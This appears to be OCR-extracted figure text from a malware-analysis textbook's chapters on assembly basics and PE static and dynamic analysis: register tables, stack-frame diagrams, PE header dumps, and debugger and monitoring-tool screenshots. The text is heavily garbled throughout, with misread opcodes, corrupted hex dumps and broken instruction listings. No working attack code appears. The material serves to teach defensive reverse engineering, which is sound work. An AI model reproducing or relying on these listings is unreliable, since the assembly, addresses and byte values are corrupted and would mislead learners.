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Chapter 2: A Crash Course in Assembly and Programming
Basics
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_code_start:

mov rO, #2

mov rl, #2

add rO, rO, rl

cmp r0, #4

beq _true block
add (1, #5 ;ntg:/e—bmkr -
b func2 bx , ’

rax al, ah
rex ecx CX cl, ch
rax edx dx dl, dh
rbx ebx bx bl , bh
rsp esp sp spl*
rbp ebp bp bpl*
rsi esi si sil*
rdi edi di dil*
r8-r15 r8d-r15d* r8w-r15w* r8b-r15b*




BEFORE PUSH EBP MOV EBP, ESP
EBP 4— ESP EBP <4— ESP=EBP
Stack Item  [«— ESP Stack ltem Stack ltem
Stack Item |«— EBP Stack Item |« EBP Stack ltem
SUB ESP, 0x0C MOV ESP, EBP POP EBP

Variable EBP-C «— ESP

Variable EBP-8

Variable EBP-4

EBP «— EBP

Stack Item

Stack ltem

Variable EBP-C

Variable EBP-8

Variable EBP-4

EBP «— ESP=EBP

Stack Item

Stack ltem

Variable EBP-C

Variable EBP-8

Variable EBP-4

EBP

Stack Item

& ESP

Stack ltem

«— EBP
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Regular function [l Instruction  Data | Unexplored  External symbol

| Eoave.. B | @ rHexve. 2 | Esruet. 0 | Een. 2 | B £

EXPORT start
start

var_4C= -0x4C
var_24= -0x24
var_1C= -0x1C
var_l4= -8x14

var_(= -éxC
var_8= -8
var_4= -4
arg_ 8= ©

3 FUNCTION CHUNK AT ©BOL6AE4 SIZE 0000080878 BYTES
;5 FUNCTION CHUNK AT ©9016EBC SIZE 000008218 BYTES

MoV R11, #0
MOV LR, #@
LDR R1, [SP+arg 0],#4
» MOV R2, SP
| STR R2, [SP,#-4+arg 0]!
STR RO, [SP,#var_4]!
LDR R12, =.term_proc
STR R12, [SP,#4+var_8]!
] LDR R@, =sub_F648
LDR R3, =.init_proc
B loc_16EBC
3 End of function start
1

100.00% [(79,56) |{595,405) [00000190‘ |00008190: start |(Synchronized with H
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(int argil, int arg_6h, );
arg
var
var
var
arg

move A
bal 0x40026c

addiu
addiu




IF..THEN..ELSE..ENDIF

Test for some condition

IF..THEN..ENDIF

Test for some condition

Block 1

]

Block 3

Block 1

Block 2 <+

Block 2




Chapter 3: Basic Static and Dynamic Analysis for x86/x64

MZ Header

PE Header

File Header

Optional Header

Section Header

Sections

text

.data
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©0-10 00 OO ©O-00 OO OO ©G-0O OB 6O 6O

Sections table
RVA® RVA™ physical size physical offset
Name VirtualSize virtualAddress SizeOfRawData PointerToRawData Characteristics
.text 0x1000 0x1000 0x200 0x200 CODE_EXECUTE_READ]
.rdata__ 0x1000 _ 0x2000_____ 0x200 0x400 INITIALIZED READ

data _0x1000 ___0x3000 _________0x200 . 0x600 ______ DATA _READ . WRLTE:
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01 2 3 4 5 6 7 8 9 A B CUDE F 012345678 39%ABCDETF
ao B4 FO Fé 70 FO 91 98 23 FO 91 98 23 FO 91 S8 23 # #
90 D2 F1 SB 22 F9 91 98 23 D2 F1 9D 22 8B 91 98 23 # #
AD D2 F1 SC 22 E2 91 98 23 CB CF 9B 22 E1 91 98 23 # #
BO CB CF 9D 22 E5 91 98 23 CB CF 9C 22 FF 91 S8 23 # #
co D2 F1 99 22 FB 91 98 23 FO 91 99 23 SE 91 98 23 # #
Do F0O 51 98 23 FA 91 98 23 &7 CF 98 22 F1 91 98 23 £ £
EO0 €2 CF 67 23 F1 91 98 23 &7 CF 9A 22 F1 91 S8 23 £ £
FO 52 €9 €3 €8 FO 91 98 23 00 00 00 00 00 00 00 00 i
Disasm  General DOSHdr  RichHdr | FileHdr | Optional Hdr = SectionHdrs = ®® Exports = ® Imports =~ Resources
Offset | Name Value Unmasked Value Meaning Productld Buildld Count VS version
80 DanS ID 70f6f0b4 536e6144 DanS
a4 Checksumed padding 23989110 0 0
88 Checksumed padding 2398910 0 0
8C Checksumed padding 2398910 0 0
%0 Comp ID 239891f9229bf1d2 901036022 24610.259.9 Masm1400 24610 9 Visual Studio 2015 14.00
98 Comp ID 2398918b229df1d2 7b01056022 24610.261.123 Utc1900_CPP 24610 123  Visual Studio 2015 14.00
AD Comp ID 239891e2229cf1d2 1201046022 24610.260.18 Utc1900_C 24610 18 Visual Studio 2015 14.00
A8 Comp ID 239891e1229bcfch 1101035e3b 24123.259.17 Masm1400 24123 17 Visual Studio 2015 14.00
BO Comp ID 239891e5229dcfcb 1501055e3b 24123.261.21 Utc1900_CPP 24123 21 Visual Studio 2015 14.00
B8 Comp ID 230801ff229ccfch  f01045e3b 24123.260.15 Utc1900.C 24123 15 Visual Studio 2015 14.00
co Comp ID 239891fb2299f1d2 b01016022 24610.257.11 Implib1400 24610 11 Visual Studio 2015 14.00
C8 Comp ID 2398919e239991f0 600010000 0.1.110 Import0 0 110 Visual Studio
DO Comp ID 239891fa239891f0  a00000000 0.0.10 Unknown 0 10
D8 Comp ID 239891f12298cf67 10100597 24215.256.1 Export1400 24215 1 Visual Studio 2015 14.00
EQ Comp ID 2398911236762  100ff592 24210.255.1  Cvires1400 24210 1 Visual Studio 2015 14.00
ES Comp ID 239891f1229acf67  101025e97 24215.258.1  Linker1400 24215 1 Visual Studio 2015 14.00
FO Rich ID 68636952 Rich
F4 Checksum 2398910 23989110



CFF Explorer ¥II - [Lab06-01.exe]

File Settings 7

" k,‘ @ Lab001exe |

Iame Virtual Size Virtual Address | Raw Size Raw Address | Reloc Address | Linenumbers | Relocations ... | Linenumber. .. | Characteristics

B IFile: Lab06-01.exe

I g E?;::;:: Ervte[8] Dwiord Dwiord Dword Dword Dword Dword ‘Word Wiord Dword
3 File Header et 00004955 00001000 00305000 00001000 00000000 00000000 0000 0000 £0000020
(2 Optional Header rdata 0000030C 00006000 00001000 00005000 00000000 00000000 0000 0000 40000040
(2 Data Directories [+] .data 00003E4S 00007000 00003000 00007000 00000000 00000000 0000 0000 0000040

] Irnpart Directory
— %Addless Converter
— eﬁ,-,Dependencjp Wwalker
— eﬁ-,He:: E ditor
— 9, Identifier
— eﬁ.;lmpml Adder
— 4, Quick Disassembler B B
— 4 Rebuilder
—‘ﬁ-,ﬂesoume Editor Off=et 01 2 3 4 5 & 7 8 9
L 4 ili oooooooo | 4D 54 90 00 03 00 00 OO0 04 00
By upx utiity 00000010 | B8 00 00 00 00 00 00 00 40 00
oooooozo0 | oo 00 00 00 OO0 00 OO0 00 00 00
gooooo3o (o0 00 00 00 00 OO0 00 OO 00 00 OO0 OO E8 00 00 00 &
oooooodo | OE 1F BA OE 00 B4 09 CD 21 BS 01 4C CD 21 54 68 1er. L aLitTh
0oooooso [ 69 73 20 70 P2 6F 67 72 61 6D 20 63 61 6E GE 6F 1s.program. canno
ooooooen [ 74 20 62 65 20 72 75 BE 20 69 BE 20 44 4F 53 20 t.be.run.in. DOS.
oooooo?o | 6D 6F 64 65 ZE OD 0D 04 24 00 00 00 0O 00 00 OO0 node. .5, ... ..
00000080 | C1 AR AD 37 B5 CA C3 64 85 Ci C3 64 BS CA C3 64 | he—7 1EEdIERAIERA
ooooooso [ B3 EC C8 64 84 CA C3 64 06 Do CD 64 8B CA C3 64 +ikd 1 ERd10Id1EEd
00000040 [ B3 EC C9 64 A8 CA C3 b4 85 CA& C3 64 81 Ci C3 64 *ikd ERd I EEd1EEd
DOOODOED | 85 CA C2 64 A9 CA C3 64 E7 D5 DD 64 B7 CA C3 64 | IEA®EAdgODdIEAd
ooooooco | B3 EC De 64 84 CA C3 64 52 69 63 68 85 CA C3 64 *i0d 1 EEdRichIEAd
gooooopo | 00 00 00 00 00 00 00 OO 00 00 OO0 OO0 00 00 OO0 00
0o0o0000EOD ( OO0 OO0 00 00 00 00 00 00 50 45 00 00 4C 01 03 00 .......PE. LIl
000000F0 | 72 34 47 4D 00 00 00 00 00 00 OO0 OO EO 00 OF O1 r4GH a.11
gooooloo ( OB O1 06 0O 00 50 00 OO 00 SO0 o0 00 00 00 00 00 1. o
oooooilio | 90 10 00 00 00 10 00 0O 00 60 OO0 OO OO 00 40 00 ..
gooooizo (oo 10 00 00 OO0 10 00 OO 04 OO0 OO0 OO OO OO OO OO0 1
gooooiszo (o4 00 OO0 0O 00 OO0 00 OO 00 BO OO0 OO 00 10 OO0 00 | .
gooooido ( oo 00 OO0 00 03 00 00 OO 00 00 10 00 00 10 00 00
ooooolso ( Oo0 00 10 00 00 10 00 00 00 00 o0 00 10 00 00 00 1.
ooo0o0le0 | oo 00 00 00 00 OO 00 0O C4 64 00 OO0 3C 00 00 OO0 .




PE Details

—Basic Information
EntryPoint: | 00078430 SubSystem: |0003
ImageBase: |00400000 NumberOfSections: (0003
SizeOfimage: |0007A000 TimeDateStamp: |607578D1
BaseOfCode: |00059000 SizeOfHeaders: | 00001000
BaseOfData: 00079000 Characteristics: |0107
SectionAlignment: | 00001000 Checksum: | 00000000
FileAlignment: |00000200 SizeOfOptionalHeader: | 00EO
ic: |010B NumOfRvaAndSizes: | 00000010
—Directory Information
RVA SIZE
ExportTable: |00000000 00000000
ImportTable: |000794EC 00000084 [...] [=]
Resource: 00079000 000004EC L] [ =]
TLSTable: |000785F8 00000018 [-]
Debug: | 00000000 00000000
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0x00000000

Stack has fixed size
and grows up to lower
addresses

Heap grows down
to higher address

0x00400000
Memory space
Ox7FFDFO00
OX7FFFFFFF
Virtual Memory Virtual Memory
0x00000000 0x00000000

OxFFFFFFFF OxFFFFFFFF

PID: 63217 PID: 5343



A single-thread process

A process with two threads

User Address Space

stack

text

registers

Process 1D
Group ID
riD

User Address Space

Thread 2
stack

Thread 1

stack counter

text

User ID

data

Offset Relative Virtual Address
0x0
X 0x400000 Image Base _
] 0x200 0x400200 Size Of Headers
Section 1 .
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Loads

PE+ (64bit process)

32bit 32bit
kemel32.dll Ntdil.dll

PE (32bit process) [

Loads

Native (x64) WoW64win.dll WoW64cpu.dll WoWe4.dll
kermel32.dll

WoW64 Emulation

OllyDbg - PEB.exe - [CPU - main thread, module PEB]

HoU
1%
=
20401248 8306 02 RO b2 (@[ 1P eos01231 pes.cos01231
812 % LT “lc o s 0023 32bit OEFFEFFFE)
0040124E ~ 78 F8 " .|
20401250 £6:€707 000R 7 uORD PTR DS (EDI). 000 e B RIS IR K rrererrs
Qi o g oo B8 : 8¢ & Hen
oi0i3e 857 B R tsiten, e S0 FS 0038 32bit 7FFOFOOO(FFF)
giE | B B B rm o 4 Bodoms
! L3 Ve 5L Svie #TR £e: co01 00 LastErr ERROR_ALREROV_EXISTS (00000087)
0040126C 7761 HOoT ECX EFL 00000202 (MO, N8B, NE,R, NS, PO,GE,G)
S0iaiser g Fc Po6  Booro PTR ss:CEBP-43,ECK TS oty Simoan ros B e eoessa
Sod01373 fr-+} § onigia n FILL B STz enory 6 e97sSssmececsszoenIat
00401276 O‘fnlLo oty saze a2
L o (vindow §3 e i S SIS et
904114 5“"""’"’“" ST enoty 1.0000000000000000000
90401283 = L 317 enoty 1.0000000000000000000
oosoizes  ||: s04s Fe LER  ERX,DMORD PTR SS:(EBP-8) Sosuee 2 S
oot o] : B e o o p1 seiteme—) LA FST 4000 Cond 1000 Err 000000080 (E0)
0040125C . 68 70334000 PRl PeR-Boswssre’ Buffer < PEb. 00403370 EVROS7E:1Pre0. UL 9. Mavk Sl 8310 6
00401231 00000080 (v indow)
00401237 €8
9040125C L)
ooso1zal  ||: €8 7a3s4000 FEB, 00403370 ="FEb. 00403370
eoso1zme | : Es 1000eece
ooso1ze ||. 61
eoso1zac |1 &
ooaoiz0 (L. ¢z
00401280 | i- FF25 00204000 PIR 0: [<tkernel32.CloseHand1e>] K LoseHandle
00401286 | i- FF2s 04204000 PIR -{«nmﬂg .ﬂl«); reater len
0040138C | .- FF2S 08204000 BTR 02! fhkernei 2. Ex | tFrocess Kerne (32, Ex (tProces:
eod012cs | i- FF2S eczode0n 0 PTR DS: (<tkernel 3 Kerne 32, mCommq.ma
004012C6 | 3- FF2S 10204000 D PTR 031 fctherne|5a. Rt |erotonsty S
004012CE i= FF25 14204000 PIR <tkernel ‘M'|I Inm» AtFHcPomtor
00401204 $- FF25 18204000 m 3 [{tkernel. .‘ROF IriteFile
00401308 | 3- FF2S 1C204000 akernel3s. st roath
00401260 | i- FF25 20204000 D PTR 05+ {<ek stropyR
00401266 | i- FF2S 34204000 OWORD PTR DS: (<t erd2iorintih
0040126C | 3- FF2S 30204000 ETR 05: (<tu A>3 Hets ageBox
00401252 | i~ FF2S 28204000 PTR 0S: (<hshe | 132. ecuten>) Shell32.Shel [ExecuteR
004012F8 20
004012F9 00
004013FR ]
9040128 3] 2
004012FC 20 00
004012F0 0 &
004012FE ]
00401 2FF 2 e
00401300 00
00401301 1 0
20401302 0 2
29 0
=001
Local calls from 00401131, 004011AC
e SO et T2 ot &4 PEB. 00400000 a8
EE R 70
2€ 74 78 74 00 &
:g 28 a a “s g RETURN to PEB.<ModuleEntryPoint)+46 from PEB.00401067
Sans e n RETURN to kerne |32, 7CB16D4F
BEBRE <) nedil. 76910758
§3 29 61 74 28 %
€7 65 42 61 73 &
1
SEnsy End of SEH chain
6C 58 20 63 69 Bl § handley
25 % ernel32. 7816058
E8RES &
74 ¢ " ]
2 PEB. <Modu leEntryPoint > ]




€} Immunity Debugger - reverseMe.exe - [CPU - main thread, module ntdll] - X
[E] File View Debug Plugins Immlib Options Window Help Jobs

5 Sol KRR P T em w7 E b 7 I
4 . a

[18:32:481 Single step event at ntdll.77ACACH4 — use Shift+F7/F8/F9 to pass exception to program [ [Faused

File View Debug Plugins
SDE 0 ¥t ¢ EDemagaRcocw leESeeik
[ [ ts | m8 memoryMap | ([ callstack | [o] saript | @ symbols
55 push rbp

Options Help

L& |

Bl
~

' Threads

- 48 83 EC 20 sub rsp,20 Senerd ‘ |

« || 00000000005A. 5 48 8B EC mov rbp,rsp || RAX 000007FCEG861664 <kill

« || COD00000005AAZAS 90 nop || RBX 0000000000000000

« || 0O000000005AA2A9 48 8D OD 98 49 FF FF lea rcx,qword ptr ds:[59EC48] || RCX 000007FFFFFDFO00

. 0000005AAZBO E8 EB 68 E6 FF €a17 sample. 410BA0 || RDX 00000000005AA2A0 sal

o BS 48 8B 05 44 SF 02 00 mov rax,qword ptr ds:[5D0200] RBP 0000000000000000

. 0 48 8B 08 mov rcx,gword ptr ds:[rax] | RSP 000000000013FF58

e || OfF E8 4C 3F FE FF €&a11 sample.S58E210 RSI 0000000000000000

. 48 8B 05 35 S5F 02 00 mov rax,qword ptr ds:[5D0200] | RDT 0000000000000000

. 48 8B 08 mov rcx,qword ptr ds:[rax]

- Bz 01 mov dl,1 | R8 000007FFFFFDF0O00

e || Of E8 OB 6B FE FF €411 sample.590DEO | RO 00000000005 AAZA0 sa

o 48 8B 05 24 5F 02 00 mov rax,qword ptr ds:[5D0200] ! R10 0000000000000000

. 48 88 08 mov rcx,qword ptr [rax] R11  0000000000000000

. 48 8B 15 5A 41 FF FF mov rdx,gword ptr ds:[59E440] R12 0000000000000000

. 4C 8B 05 1B 62 02 00 mov r8,qgword ptr ds:[5D0508] R13 0000000000000000

. E8 4E 3F FE FF €817 sample.S58E240 R14 0000000000000000

o 48 8B 05 07 S5F 02 00 mov rax,qword ptr ds:[5D0200] R15 0000000000000000

- 000S5AAZ 48 8B 08 mov rcx,gword ptr ds:[rax]

o 0005AA2 E8 4F 41 FE FF €&a11 sample.S58E450 RIP 00000000005AAZAD sa

« (| DO000000005AA3 E8 AA 06 E6 FF €all sample.40A9B0 ¥

< > RFLAGS 0000000000000244
ZF 1 PF1 AF O

rhp=0 OF 0 SFO DFO
sample. exe[1AA2A0] | ".text":00000000005AAZA0 £E20 FEO0 25 4 L
e ] ! |
e e ASCIT ~ J 000007FCEGB6167E | i A

0 | 0000000000000000
0000000000000000
0000000000000000
0000000000000000
0000000000000000
000007FCE823C3F1| r¢
0000000000000000
0000000000000000
0000000000000000 v

000007FCE8221000 |90 90 90 90 90 90 90 90 90 30 90 90 90 90 90 90|... . .
0DD007FCES221010| 65 48 8B 04 25 30 00 00 00 FO OF BA 71 08 00 48|eH..%0...0.°q..H
000007FCES8221020| 8B 40 48 OF 83 FE 43 00 00 48 89 41 10 C7 41 OC|.@H..pC..H.A.CA.
000007FCE8221030(01 00 00 00 33 CO C3 90 90 90 90 90 90 90 90 90|....3AA . .
000007FCE8221040 | FF F3 48 83 EC 20 FF 49 OC 48 8B D9 75 27 48 C7|YOH.1 YI.H.Uu'HC
000007FCE8221050( 41 10 00 00 00 00 48 89 7C 24 30 B8 FE FF FF FF|A..... H. | $0 byyy
000007FCE8221060 (83 C9 FF FO OF B1 4B 08 8B F8 OF 85 58 8D 01 00| .EVD.%K..8..X...
000007FCE8221070|48 88 7C 24 30 33 CO 48 83 C4 20 5B C3 90 90 90(H.|$03AH.A [A...

ANANN7ECAC03%1n0nl oA 0N GN 6N OGN OGN Gn an on N an on an an an an

< >

000000000

0000000000
0000000000
0000000000

0000000000

==

Command:

Paused  |INT3breakpoint "entry breakpoint™ at 00000000005AA2A0!




Select process to attach - O X

process [vame [waow | *
00003288 | QtWebEng C:\Program Files (x86)\Dropbox\Client\QtWebEngineProcess.exe
00003688 | QtWebEng C:\Program Files (x86)\Dropbox\Client\QtWebEngineProcess.exe
00001544 | DropboxUy C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe .
00002818 | GoogleCr: C:\Program Files (x86)\Google\Updateyl.3.33.17\GoogleCrashHandler.exe
000032C4 | POWERPNT | HardwareMonitorWindow C:\Program Files (x86)\Microsoft Office\root\0fficel&\POWERPNT.EXE
00001 2AC | vinware—a C:\Program Files (x86)\VMware\VMware Workstation\vmware-authd.exe
00001704 | vinware - C:\Program Files (x86)\VMware\VMware Workstation\vmware-hostd.exe
00002E74 | vinware-t] viware—-tray Main UI Window|C:\Program Files (x86)\VMware\VMware Workstation\vIware-tray.exe W
Cancel |
* - [*G.P.U* - main thread, module calc] - X
. File View Debug Plugins Options Window Help -8 X
J A + ulE[m[T|w/H|c]|/[K|B[R]|5| E[F]?]
| 61612475 I
61a12477| . €8 EALEBBA1 PUSH calc.alwlsea %ﬁ;éc ! R
gipiadrr) . ES dreseepe | CALL cals.@19127CS ECY 101245 -<Modu leEntryPoint
248l] . 330B #OR EBX, EBX = EDX 81812475 ~<Modu eEntryPoint >
Binl2428 . B3 PUSH_EBX phiadu le => NULL EBX GB242006
Blaiz454| . 8B3D 28108881 MOU EOI,DNORD PTR DS: [<&KERMEL32.GetModi | KERNEL32. Getﬂodu leHandLeR ESP GRADFF74
Bipiz42a| . ALL GetMadu leHand Lel EBF GOGOFFaG
B1A1245C| . £6:B138 40D5A |CHP WORD PTR 0S:[EAX1,SA4D ESI 816812475 calc.<Modu leEntryPoint >
B112491| .75 1F JHZ SHORT calc.@1812482 .
B1p12453| . B8B48 3C MOU ECX,DU0RD PTR DS: CEAX+3CT EDI 01012475 calc.<Modu leEntryPoint>
B1p124596| . @3C8 ADD ECK,EAX EIF 81812475 calc.<Modu leEntryPoint>
Ble12455| . 8139 58450888 CHP OWORD PTR DS: [ECK1,4550 C B ES GOZE 3Zbit @FFFFF
B1B124%E| .75 12 JH2_SHORT calc.@1812482 E 5 G Gazs behit GIFFFFFFFF
Blei24R6| . BFEP41 18 MOUZ R ERAs, WORD PTR DS: [ECK+181 A G55 Dbt Gl )
Giei24n4| . 30 BES16BEG | CHP EAR, 1 7 A6 Sobit @iFFFFFFFE)
91612409 JE SHORT ealc.@101240R 55 FS GOE: iibit 24comolFFF]
G1a1240E| . 30 BEA20006 | CHP EAX, 208 H S BaeE Sobiv oo )
GIEiIEE| 3 EdeR e ey SRR o, eex 0
112462 -
\2age| 2. SHORT ol BieioH 08 LastErr ERROR_ENUUAR_NOT_FOUND (D@0E0ACE)
ggz 5 ggagzadaaanna CHP DUWORD FTR OS: tEcx+a-u oE EFL 68999246 (10, N8, E, BE, NS, PE, GE, LE)
A
T e IS ASS @M Ty iR t
4Cz| . 3995 FBEBRGEE| Cri y 15 emoty 2. e IS ers
4cE| wEB BE JHP SHORT calc.@i@izdl 213 empty G.0
4CA| > 8373 74 BE | CHP DWORD FTR 0S: |:Ec><+?4] GE 211 Smoty .o
4CE| ~76 E2 BE SHDRT calc.@1612462 375 empty 0.0
406| . 2308 X0R EAR, EAR ST empty 0.0
402| . 3999 E9600008|CHP DWORD FTR 0S:[ECR+ES],EBX 217 emoty o
08| ) e R B50 GUGRD PTR S35+ [EEP-1C1,ERX S 3210 BEEE@EA
i R |l SRR BT LIS 3R EmeRRS RmOCTIRRIY P
ng FF15 @cC1zeea1 gglﬁLEEQDRD PTR DS:[<{&msvort.__set_app_t{ msvort.__set_app_type
4ER| . £380 1956@181| OR DWORD FTR OS:[1815010]1, FFFEFFFE
5360 14586161|OR DWORD PTR_DS:[101S6141, FFFFFFFE .-
p__tmode
2E60 BCEBE161|HOU ECX,DWORD PTR DS:[101566T]
2963 HOY DWORD PTR DS: [EAXI, ECH
__commody  MEvort. __commode

FF1E 84126661 CALL DWORD PTR DS: [<&msvort.
8BB0 @\2cea1el) MOY ECK,DWORD PTR DS: EIBISBBBJ
2988 HDU OWaRD PTR I:l A%,

5
. FF1S 88120081| CALL DWORD FTR DS:[<&m sucrtéfn;fmodw MEUCTT .

5 [
Al 66120001 | MOU EAX,DWORD PTR DStL{&msvort._ adjust_
268 HMOU EAX,DUORD PTR DS:
B3 lespaial | HOU DUORD FTR O 1 (10158181, EAX
CALL calc.@1@127C2
5510 Radoa1a1| CHE DaaRG" PR 05: [ 18149081, EBY
Z526| w7 o JHZ SHORT calc,@1812539
B1B1252D( . & PUSH calc.@1@127C2 Entry address
B}B}EI%SE . E 15 FCIIBBBI EEELFDNUHD PTR DS:[<{&msvort.__setusermal msvort.__setusermatherr v
Address 11 ~
[BI614060| 63 O ] ¥...0
alai4a16|en @ ] 0
6114626| 61 @ 3 @ a
61014636 68 @ ] g
61014648 66 @ 8 @ 0
61814656| 52 @ g UE~818- wie e
61814664| EB @ g
14676| FF F Fl FF F
61814624 68 @ [ e
1614696( 2E 4 8 FF
4506|FF 86 59 88 51 @ aa
B1814666| FF 68 B8 B8 53 8 FF
B1146CH| 66 B8 FF B8 55 60 68 68 e ] DT SOBDFERS v
AlAT4ANAIEE AR AR AR E7 AR AR aal FE A0 AR Il X .
ML M2 M3 M4 HS — =1 | ESP EBP  NONE
| Memory \window 1 Start£20:1014000 EndE20x1013FFF Sizef20k0 Yaluef20x3 I | Paused

00400000 )00003000|004010E0|1levelOd C:\Users\amrth\Documents\VirtualC\level(4.exe
6FC40000 (0008D000 | 6FCTE1B0 (apphelp [10.0.17134.1 (WJC:\WINDOWS\SYSTEM32\apphelp.dll

74750000 (000EQOO0 | 747606RA0 (KERNEL32 |10.0.17134.376 |C:\WINDOWS\System32\KERNEL32.DLL

T49E0000 (000BFOO0 | T4A15660 (msvert  |7.0.17134.1 (WigC:\WINDOWS\System32\msvcrt.dll
T772C0000(001E4000 | 773AF350 (KERNELBA |10.0.17134.376 |C:\WINDOWS\System32\KERNELBASE.d11l

TT76C0000 (00190000 ntdll 10.0.17134.228 (C:\WINDOWS\S5YSTEM32\ntdll.d1l




004D0000
004EC0O0D
00830000
00850000
Q088F000
00870000
6FC40000
6FC41000
6FCBBOOO
6FCBDOOO
6FCCO000
6FCDT000
74750000
74760000
74700000

00008000
000Cs5000
0000BOOO
00002000
00001000
00003000
00001000 | apphelp
0007R000 |apphelp | .teXt
00002000 | apphelp |.data
00003000 | apphelp |.idata
00017000 | apphelp |.E3EC
00006000 (apphelp |.reloc
00001000 |EERNEL32
00061000 |KERNEL32 | . text
00028000 |KERNEL32 | .rdata

Briv|BW

Map (R
Briv|BW
Priv|EW
stack of th|Priv|BEW
Briv|BW
PE header Imag|R
code, export | Imag (R
data Imag|R
imports Imag|R
resgurces Imag|R
relocations |Imag|R
PE header Imag|R
code Imag|R E
imports,exp|Imag (R

Gua (BEW
Gua (BEW

R ‘\Device\HarddiskVolume3\Windows\System32ilocale.nls

Hit trace

Run trace

Mew crigin here
Go to
Thread

Follow in Dump

004010EF| 8945 EC

004010F7

Options Window Help

Debug I Plugins
Ru

n F9
Pause F12
Restart Ctrl+F2
Close Alt+F2
Step into F7
Step over F8
Animate into Ctrl+F7
Animate over Ctrl+F8
Execute till return Ctrl+F9
Execute till user code Alt+F9

Ctrl+Gray *

d

]

FUSH ERX

Teggle F2
Conditional Shift+F2
Conditional log Shift+F4
Run to selection F4

Mernory, on write

Hardware, on execution



Hardware breakpoints X

# Baze Size Stop on

1 | 004010F2 Erecute | Fu:uIIu:uw1| Delete 1

2 Follaw 2 Crelete 2

£ Follaw 3 Lrelete 3

4 Follaw 4 Lrelete 4

Ok

0040107A| 0F85 0DO0O0OOOO JNZ level04.0040108D I
00401080| BS 01000000 MOV EﬁAssemble sei . %
00401085| 8845 F7 MOV B
00401023 |_E9 02000000 JMP leve |
0040108D| EB C2 JMP SHOR
0040108F| OFBE45 F7 Movsx En| W Fill with NOP's Assemblel Cancel |
00401093| 83F8 01 CMP ERX,'r T
B :: :ao:0c MOV ERX, 1evell byt gata at 00402018 X
004010CB| 50 PUSH ELX
004010CC| ES 87000000 CALL <aMp.smsd| [2_arrays are not
004010D1| 83C4 04 ADD ESE, 4 UINICODE |
Lddress |Hex dump ASCIT HE: +00 |€!6 EE E% 3% 7261 79 73 28 61 72 65
00402000|01 02 03 04|05 06 07 08 |0 OO
00402002 |09 00 03 02|07 05 09 08|..0 0.C
00402010|00 04 06 01 54 68 65 20|.[0The | 7 Keep size

00402013 (32520061 T2 T2 61 75 53 2 arraj‘ ] I Cancel

00402020 (20 61 72 65 20 6E 6F 74 || are ni |

5 6A 7@
Aiolzdsr| . 62 EB1EAAE1
G1E1247C| . ER 47ESEEEE

PUSH <calc.api_hashes>
CALL <calc.resolwe_apis?

argd — size of the list



£ Process Monitor - Sysinternals: www.sysinternals.com — O

File Edit Ewent Filter Tools Options Help
FEH RABRE| YAS B A5 KB AT

Time ... Process Name PID  Operation Path Result Detail

19:51:... "jy Explorer EXE 3156 BaCreateFlIe CUsersMocaluser'AppDatatLocal Mic... SUCCESS Desired Access: 5.
19:51:... "py Explorer EXE 3156 Ba@uerySizelnfor... CUsersMocaluser'AppDatatLocaltMic... SUCCESS TatalAllocation Unit...
19:51:... 'py Explorer. EXE 3156 &Ooseﬂle C:UsersMocaluser'AppDatatLocalMic... SUCCESS

19:51:... “ya Explorer EXE 3156 Bs\HeadFlle CWindows'\System32'\KemelBase dl  SUCCESS Offset: 2 527 232, ..
19:51:... “ya Explorer EXE 3156 BaCreateFiIe C\UsersMocaluserAppDatatRoaming®... NAME COLLISIOM Desired Access: R...
19:51:... "ya Explorer EXE 3156 BaCreateHIe C:UsersMocaluserAppDatatRoaming®... NAME NOT FOUMD Desired Access: R...
19:51:... "ya Explorer EXE 3156 Bal:}ueryStandardI...C:'\Users\lucaluser\.ﬂcpData\LccaI"\Mic...SUCCESS AllocationSize: 61....
19:51:... "ya Explorer EXE 3156 ﬂﬂeg@ueryﬁey HKC UM Software \Classes SUCCESS Query: Name
19:51:... "fy Explorer EXE 3156 ﬂﬂeg@ueryﬁey HKC UM Software \Classes SUCCESS Query: HandleTag...
19:51:... "py Explorer EXE 3156 ﬂﬂeg@ueryﬁey HKC UM Software \Classes SUCCESS Query: HandleTag...
19:51:... 'pa Explorer. EXE 3156 ﬁHEgOpenKey HKCUM\Software \Classes\CLSIDWAGFF... MAME NOT FOUMD Desired Access: R...
19:51:... T Explorer EXE 3156 @YRegOpenKey  HKCR\CLSID\{ABFFS0C0-56C0-71CA5. SUCCESS Desired Access: R..
19:51:... T Explorer EXE 3156 @Y ReqlueryKey  HKCRA\CLSIDW{ABFFS0CO-56C0-71CA-5. SUCCESS Query: Name
19:51:... Ty Explorer EXE 3156 @ ReqOueryKey  HKCR\CLSIDV{AGFFS0CO-56C0-71CA-5. SUCCESS Query: HandleTag...
19:51:... [y Explorer EXE 3156 @ ReaOpenKey  HKCU\Software\Classes'CL SID\{ABFF... NAME NOT FOUND Desired Access: Q... ¥

Showing 26,156 of 44,524 events (58%)

Backed by virtual memory

@ Regshot 1.9.0x64 Unic... —

Compare logs save as:

(@ Plain TXT () HTML document

[ ]scan dir 1[;dir 2;dir3;...;dir nn]:
C:\Windows e

Output path:

p ot

1st shot

2nd shot
Compare

Clear

Quit

Ci:\WUsers\LOCALU~1\AppDz| | .,

Add comment into the log:

About

English




& Monitoring - API Manitor v2 64-bit — ] X
! File Edit View Filter Tools Window Help

=R~ W

25~ I > 43 [ AiModules A BeE s EoL LT (8 L I LD T

] ] Additional Resources A = Time of Day Thread Module AP

0 I] Application Installation and Servicing

0 W Audio ana video

[0 [l Component Object Model (COM) MNo processes are being monitored,
To monitar a running process or service

[ W Dsta Access and Storage use the Running Processes pane, or

O I] Delta Compression Monitar Mew Process

[ [} Devices

[ W piagnostics

] [}l Documents and Printing < >

[0 W Graphics and Gaming

O W internet

O W Microsoft .NeT

[ [ NT Native v

< >
D pisplay | ] Extemal bLL

&

®

)

# Type Name Pre-Ca| gl 52

Capt

I SALE SN e

Process @ PD @

[& ApplicationFrameHost... 1920 < >

5] browser_broker.exe 3840

& Calculatorexe 2 = Module Address Offset Locatid| ————— Loading Files f£rom C:\Installed\API Monit.
- — Finished Loading 2115 Files —--——--—

[ dinost.exe 5208 Categories: 83s

- Variables: 15678

M explorerexe 3156 —— 222

[E MicrosoftPhotos.exe 379 APIs: 1ee8s
COM Interfaces: 1826

B Microsoftedge.exe 4148 COM Methods: 22262

[E Microsoftedgecp.exe 240

(=" BEAnAC ava 4380 ¥ | € L4

7] Processes | ., Semvices < > | | API Loader | (=] Monitoring | & Output

Rea 0 Bytes Mode: Portable

Re2EF EE

| Source | Destination Length| Info
20.189.173.1 192.168.8.31 443 - 63232 [SYN, ACK] Seq

